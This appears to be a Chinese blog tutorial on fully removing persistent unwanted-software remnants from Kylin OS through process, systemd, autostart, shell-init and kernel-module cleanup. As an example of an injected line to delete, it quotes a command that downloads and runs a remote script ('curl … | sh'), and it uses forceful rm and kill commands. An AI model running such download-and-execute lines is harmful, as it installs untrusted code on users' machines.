麒麟OS如何彻底删除流氓软件的残留进程

云伟君_1537

云伟君_1537

2026-08-31

484人浏览

原创

必须从进程树、服务注册、启动项、内核模块四层同步清除,否则流氓软件会复活;先用ps和kill终止活跃进程,再禁用systemd服务、清理XDG自启和shell脚本、卸载可疑内核模块,最后验证无残留。

麒麟os如何彻底删除流氓软件的残留进程

你在麒麟OS里卸载了一个流氓软件,但发现它还在后台偷偷运行、CPU占用异常、进程名伪装成系统服务,甚至重启后又自动拉起——这不是卸载失败,是残留进程未被真正终结。必须从进程树、服务注册、启动项、内核模块四层同步清除,否则它随时可能复活。

确认并终止活跃的流氓进程

先揪出正在跑的进程本体,别只看名字:有些流氓进程会起名“ksysguard”“dbus-daemon”等混淆视听。

按 Ctrl + Alt + T 打开终端,执行:ps aux | grep -E "(关键词|可疑名)"(把“关键词”换成你记得的软件名或拼音首字母,比如“sunlogin”“todesk”)。

若输出中出现非 root 用户启动、PPID=1 或 CMD 列含 /tmp/、/dev/shm/、sh -c 等路径,基本可判定为恶意残留进程。

记下 PID(第二列数字),执行:sudo kill -9 PID 强制终止;若存在多个同名进程,用 sudo pkill -f "关键词" 一次性杀净。

注意:不要直接 kill -9 systemd 或 dbus 进程,否则桌面会崩溃。

禁用并删除自启服务单元

流氓软件常把自己注册为 systemd 服务,实现开机自启和进程守护。不清理服务定义,杀完进程几分钟后它就复活。

第一步:查服务名。执行:systemctl list-unit-files --type=service | grep -i "关键词",重点看状态为 enabled 或 static 的条目。

第二步:停止并禁用该服务:sudo systemctl stop 服务名.service && sudo systemctl disable 服务名.service。

第三步:彻底删除服务文件。先查位置:systemctl show --property=FragmentPath 服务名.service,再执行:sudo rm -f $(systemctl show --property=FragmentPath 服务名.service | cut -d= -f2)。

第四步:清空服务缓存:sudo systemctl daemon-reload && sudo systemctl reset-failed。

扫描并清除顽固的用户级启动项

有些流氓软件绕过 systemd,在用户登录时通过桌面环境自启机制拉起,比如 XDG autostart、bashrc 注入、或 GNOME 启动应用列表。

一点PPT
一点PPT

一款AI演示文稿工具,主要用于一句话生成专业PPT,AI自动排版配图,适合需要提升相关任务效率的用户。

下载

方法一:检查 XDG 自启目录
执行:ls -la ~/.config/autostart/ /etc/xdg/autostart/ 2>/dev/null | grep -i "关键词"。
若发现匹配的 .desktop 文件,立即删除:rm -f ~/.config/autostart/*关键词*.desktop /etc/xdg/autostart/*关键词*.desktop。

方法二:排查 shell 初始化脚本
检查:cat ~/.bashrc ~/.profile ~/.bash_profile 2>/dev/null | grep -i "关键词"。
若发现类似 nohup /tmp/.xxx & 或 curl -s http://x.x/x | sh 的可疑行,用编辑器打开对应文件,手动删掉整行。

方法三:GNOME 桌面专属检查
执行:gsettings get org.gnome.startup-applications enabled,若返回值含可疑名称,运行:gsettings set org.gnome.startup-applications enabled "['app1.desktop', 'app2.desktop']"(保留合法项,剔除流氓项)。

检查并卸载可疑内核模块

极少数深度驻留的流氓软件会加载内核模块(.ko 文件),用于隐藏进程、劫持系统调用。这类模块不会出现在 ps 或 systemctl 中,必须主动扫描。

第一步:列出当前加载模块:lsmod | awk '{print $1}' | sort。

第二步:对比可疑模块名(常见伪装:ksys、drv、netfilter、含随机字符串如 z83k2n)。

第三步:若发现高度可疑模块,先尝试安全卸载:sudo modprobe -r 模块名。

第四步:定位模块文件位置:modinfo 模块名 | grep ^filename,确认路径在 /lib/modules/$(uname -r)/extra/ 或 /usr/lib/modules/ 下后,执行:sudo rm -f $(modinfo 模块名 | grep ^filename | cut -d' ' -f2)。

【重要前提】执行 modprobe -r 前务必确认该模块不被显卡驱动、网卡驱动等核心功能依赖,否则可能黑屏或断网。

刷新并验证最终状态

① 刷新桌面数据库,让开始菜单图标彻底消失:sudo update-desktop-database。

② 清理用户级残留配置与缓存:rm -rf ~/.config/关键词 ~/.cache/关键词 ~/.local/share/关键词。

③ 全盘搜索残留文件:sudo find / -path "/proc" -prune -o -path "/sys" -prune -o -name "*关键词*" -type f -print 2>/dev/null | grep -v "lib/modules",对非系统关键路径下的结果逐条确认并删除。

④ 重启系统,开机后立刻打开终端,执行:ps aux | grep -i "关键词" 和 systemctl list-units --all | grep -i "关键词",两处均无任何输出即表示清除完成。

相关文章

PHP速学视频免费教程(入门到精通)
PHP速学视频免费教程(入门到精通)

PHP怎么学习?PHP怎么入门?PHP在哪学?PHP怎么学才快?不用担心,这里为大家提供了PHP速学教程(入门到精通),有需要的小伙伴保存下载就能学习啦!

下载

本站声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

相关专题

更多
Vite 项目如何打包和部署
Vite 项目如何打包和部署

Vite项目打包部署专题汇集生产构建、产物预览、输出目录、资源路径、Nginx与GitHub Pages部署及常见白屏和路由404问题的已审核文章,帮助读者完成上线流程。

2026.10.28

40

16

Vite 如何搭配 Vue.js
Vite 如何搭配 Vue.js

Vite搭配Vue.js专题汇集创建Vue 3项目、配置开发环境、路径别名、Vue插件、代理、多环境构建与调试的已审核文章,帮助读者完成从初始化到日常开发的配置。

2026.10.28

20

15

Vite 项目目录怎么看
Vite 项目目录怎么看

Vite项目目录专题汇集入口文件、src源码、public静态资源、路径别名、项目根目录和构建输出目录相关的已审核文章,帮助读者理解各文件夹的用途与引用方式。

2026.10.28

0

10

Gradle插件开发入门教程
Gradle插件开发入门教程

本专题介绍Gradle插件开发的基本流程,涵盖插件类编写、自定义任务注册、扩展参数设计和插件应用方法,帮助你理解插件如何组织构建逻辑,减少多个项目之间的重复配置。

2026.10.22

120

11

Gradle Wrapper配置教程
Gradle Wrapper配置教程

本专题介绍Gradle Wrapper的基本作用,涵盖文件组成、生成方法、版本配置和任务调用,帮助你理解项目如何使用指定的Gradle版本,减少不同开发环境带来的构建差异。

2026.10.22

80

10

Golangci-lint检查器使用教程
Golangci-lint检查器使用教程

本专题整理Golangci-lint常用Linters的用途与配置方法,覆盖错误处理、无效代码、安全、复杂度、命名和依赖检查,帮助项目合理选规则。

2026.10.22

60

15

Gradle怎么构建Java项目
Gradle怎么构建Java项目

本专题介绍Gradle Java项目构建方法,涵盖Java插件配置、依赖声明、源码编译、测试执行和打包检查,帮助你理解各阶段的任务关系,逐步完成项目构建。

2026.10.22

40

10

PHP时间戳漏洞修复教程
PHP时间戳漏洞修复教程

本专题汇总PHP常见时间戳漏洞,包括2038年溢出、时区漂移、时间戳伪造、重放攻击、时间盲注与日志审计失效等,并给出升级64位环境、使用 DateTimeImmutable、统一UTC、严格超时校验、预处理绑定、hash_equals 比对等修复方案,帮助开发者快速排查和加固时间相关代码。

2026.10.22

60

25

Golangci-lint配置文件与规则设置
Golangci-lint配置文件与规则设置

本专题聚焦Golangci-lint YAML配置文件,讲清运行参数、规则启停、目录排除、问题过滤及严重级别设置,便于团队统一检查标准。

2026.10.22

40

15

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
热门推荐
/
最新课程
phpStudy极速入门视频教程
phpStudy极速入门视频教程

共6课时 | 54.7万人学习

独孤九贱(4)_PHP视频教程
独孤九贱(4)_PHP视频教程

共89课时 | 134.1万人学习